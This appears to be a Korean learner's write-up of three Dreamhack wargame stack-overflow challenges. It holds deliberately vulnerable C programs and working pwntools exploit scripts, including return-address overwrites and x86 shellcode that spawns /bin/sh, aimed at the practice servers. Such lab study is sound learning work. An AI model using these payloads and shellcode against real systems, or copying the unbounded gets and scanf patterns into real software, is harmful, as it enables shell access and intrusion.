가장 많이 들었고, 그나마 이해를 하고 있는 영역이다.
-> 중요 데이터 변조, 데이터 유출, 실행 흐름 조작(반환 주소 조작)
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}
저 get_shell() 함수 주소를 main의 return address로 채워넣으면 된다.
2.2 스택 프레임

buffer에 0x28 + 0x8만큼 채우고, 그 뒤에 get_shell 함수의 주소를 채우면 된다.

실제는 0x30 + 0x8
2.3. get_shell()의 주소

get_shell 주소 = 0x4006aa
2.4. exploit
from pwn import *
p = remote("host3.dreamhack.games", 22688)
#p = process("./rao")
s = b"A" * 0x38 + b"\xaa\x06\x40\x00\x00\x00\x00\x00"
p.sendlineafter("Input: ", s)
p.interactive()
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
printf("buf = (%p)\n", buf);
scanf("%141s", buf);
return 0;
}
이 코드에서는 buf 주소를 출력해준다.
3.2. buffer 위치

ebp-0x80에 위치한다.
그런데 문제는 scanf가 받아올 수 있는 값이 141로 고정되어 있다.
그러면 일단 0x88위치에는 buf의 주소를 입력해서 리턴을 buf로 하도록 유도하고
buf에 쉘코드를 저장하자.
쉘코드 = \x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80 (일반 25바이트 쓰면 scanf가 인식을 못한다고 한다.)
3.3. exploit.py
from pwn import *
#p = process("./basic_exploitation_000")
p = remote("host1.dreamhack.games", 13458)
p.recvuntil("buf = (")
addr = int(p.recvline()[:-2], 16)
shellcode = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
shellcode += b"A" * (0x84 - len(shellcode)) + p32(addr)
p.sendline(shellcode)
p.interactive()
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
이번에는 read_flag()를 실행해야 하나 본데?
4.2. buf 위치, read_flag() 주소


buf: ebp-0x80
read_flag: 0x80485b9
4.3. exploit.py
from pwn import *
#p = process("./basic_exploitation_001")
p = remote("host1.dreamhack.games", 23350)
addr = b"\xb9\x85\x04\x08"
shellcode = b"A" * 0x84 + addr
p.sendline(shellcode)
p.interactive()